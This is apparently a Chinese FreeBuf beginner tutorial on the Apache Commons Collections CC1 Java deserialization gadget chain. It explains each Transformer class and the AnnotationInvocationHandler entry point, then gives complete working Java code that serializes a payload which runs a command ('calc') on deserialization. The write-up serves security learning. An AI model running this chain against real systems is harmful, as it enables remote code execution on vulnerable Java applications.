freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA安全--cc1学习(新手可阅)
2024-12-28 22:18:54
所属地 山西省

前言

Apache Commons Collections 是一个由 Apache 软件基金会提供的开源 Java 库,它为 Java 标准集合 API 提供了丰富的扩展和补充。

在JAVA安全中必学的cc链由源于这个组件,因为其英文名字简称cc,所以反序列化链子称为cc链。目前往上公开的有7条链子,这篇文章将带大家首先认识cc1链,相信经过学习,后面几条链子的学习将会更加得心应手。

环境准备

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

这里的jdk版本一定要设置对,不然无法复现,下面为CommonsCollections的maven依赖配置。

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

组件学习       

漏洞发生点出现在cc组件的Tranformer接口,可以看到其书写了一个Transform抽象方法。

1735372986_676fb0baf16dce537e0b2.png!small?1735372986465

跟踪一下,看看哪些类实现了这个接口,这里我把需要研究的类提前标注了出来。

1735373361_676fb2317b6cd07011f57.png!small?1735373360829

ConstantTransformer

1735375491_676fba83be8aa099cde39.png!small?1735375491010

构造方法将传入对象赋予给成员属性iConstant。

1735375511_676fba97071d9736637b7.png!small?1735375510362

重写后的transform方法,如图返回iConstant的值,不论传入什么参数。

ChainedTransformer

1735375867_676fbbfb8b5a931a0b792.png!small?1735375866775

构造方法传入一个Transformer类型数组,定义为成员属性iTransformers的值。

1735375882_676fbc0a4964616aea983.png!small?1735375881540

重写后的transform方法,进行transformer数组的遍历,首先将传入的参数作为第一个类作为第一个transfomer类执行transform方法的参数,将其得到的结果作为下一次执行transform的参数,循环至数组遍历完成。

InvokerTransformer

1735377081_676fc0b9460d337c6f703.png!small?1735377080556

构造方法传入了三个参数,第一个给iMethodName,第二个给iParamTypes,第三个给iArgs。

1735377006_676fc06e02dedf8640ca3.png!small?1735377007248

可以看到transform方法执行了获取字解码文件,对象由传入参数设置,然后通过反射获取该类中的执行方法, iMethodName为方法名(构造函数第一个参数控制),iParamTypes为参数类型(构造函数第二个参数控制),执行方法参数为iArgs(构造函数第三个参数控制)。这个类就是我们最终执行命令的地方。


上述三类,就足以构造类的一部分了,给出一个代码方便理解。

import org.apache.commons.collections.functors.InvokerTransformer;

public class test1 {
    public static void main(String[] args) {
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}

1735378200_676fc51841ffcc19c0782.png!small?1735378199685

成功执行命令,光看类的构造可能不方便理解,我们再详细写出执行transform方法的内部流程。

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Runtime runtime = Runtime.getRuntime();
        Class<? extends Runtime> aClass = runtime.getClass();
        Method exec = aClass.getMethod("exec", String.class);

        exec.invoke(runtime,"calc");
    }
}

相信大家经过前面反射的学习,这段代码就很好理解了,那么我们就构造链子的第一部分。


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//Runtime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//Runtime.getRuntime()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//Runtime.getRuntime().exec("calc")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

解释一下代码逻辑 ,创建一个ChainedTransformer对象,执行其transform方法,会开始遍历执行。首先执行ConstantTransformer的transform方法返回Runtime类的字节码文件;将Runtime的字节码文件传入下面两次最后执行了弹计算机的命令。这里用动调给大家证明下。

1735380638_676fce9e11d1d3ad72b81.png!small?1735380637243

第一轮获取Runtime字节码。

1735380674_676fcec222e9f2afcbcee.png!small?1735380673480

第二轮获取Runtime的getRuntime方法。

1735380821_676fcf5523a50ba6f4975.png!small?1735380820262

第三轮获取实例。

1735380907_676fcfaba5c17a296643a.png!small?1735380907921

第四轮就是执行命令弹出计算机了。那么我们就改下一步了,找到一个类能够执行transform方法,并且被调用类由我们自定义。


TransformedMap

1735382395_676fd57b71033bb0cba7f.png!small?1735382394619

这里构造方法是private修饰,这就说明了无法外部调用,我们看看有没有其他方法可以生成新的实例。

1735382380_676fd56cea0163dbbb946.png!small?1735382380050

内部书写的decorate方法,可以绕过构造函数返回对象,达到构造函数的效果。

1735382336_676fd5404c6a1f8131167.png!small?1735382335387

checkVakue方法就完美符合我们的需求,调用类可控,能够执行其transform方法。

AbstractInputCheckedMapDecorator

1735384961_676fdf8161a5cd4be7ba0.png!small?1735384960451

其是TransformedMap的父类。

1735385547_676fe1cb201c2c3392fb1.png!small?1735385546162

构造方法给parent值。

1735385317_676fe0e5cfa12a3714102.png!small?1735385317170

setValue方法内部调用checkValue,并且parent我们可以设置为TransfomedMap,这里我们的目标就切换到了哪里调用了setValue。

AnnotationInvocationHandler

1735385738_676fe28a092fb51a46c71.png!small?1735385737084

1735389578_676ff18a9116176b75de7.png!small?1735389577602

构造方法。

这个类一看,我勒个豆,他继承了Serializeble接口,这不是天然的反序列化胚子么,我们再确认下。

1735386226_676fe47254d1e4d22dc59.png!small

哎呦,你干嘛。你怎么这就出来了,可以看到重写readobject方法,干他就完事了,开始反序列化吧。

cc1链子构造

1735389531_676ff15b0c3fb0cee9db0.png!small?1735389530112

readobject关键代码在调用setValue之前还有两个if,我们得成功绕过,分析一下。

1735390559_676ff55f65f057374c3d6.png!small?1735390558500

这里的type是构造方法第一个传入参数,我们可控,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称。我们这里可以以设置为target,其具有成员变量value,具体细节可以自己学习一些,这里不是重点(绝对不会我是我偷懒^_^)。

链子代码如下

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cctest {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

解释下逻辑,首先我们肯定得构造一个AnnotationInvocationHandler类,支持我们进行反序列化,第一个参数设置为Target.class,并且TransformedMap第一个参数map.put("value","1"),绕过if判断,第二个参数设置为TransformedMap类,用过decorate方法生成,之后执行TransformedMap类的setValue,进而调用了checkSetValue,其进行了查询TransformedMap第三个值,这是我们设置的是我们自己构建的chainedTransformer类,执行其中的transfom方法,还记得我们之前说的么 ,最后就能出来一个链子执行命令,忘记的话可以翻回去再看一下。

这里可能就有人会问setValue那个参数没影响么?

1735393666_67700182ba22439f7eb70.png!small?1735393665642

很容易理解,这个参数最终传到chainedTransformer,别忘了这个数组第一个是ConstantTransformer类,他执行transform方法时,不管传入参数是啥,都只会返回预先构造设置好的值,也就是我们的Runtime,这就是整条链子的构造。

1735394434_6770048296b043d3bf90b.png!small?1735394433915

结语

如果能够看完这篇文章,说明你也下定决心学习java安全了,但是我们要明白这只是cc1,道途坚远啊,同志仍需努力。

看了下网上的分析,总感觉不适合初入的小白阅读,因此本篇文章虽也有一定门槛,但还是以最简单的言语阐述,下篇文章继续分析其他链子。


# java反序列化 # Java代码审计 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录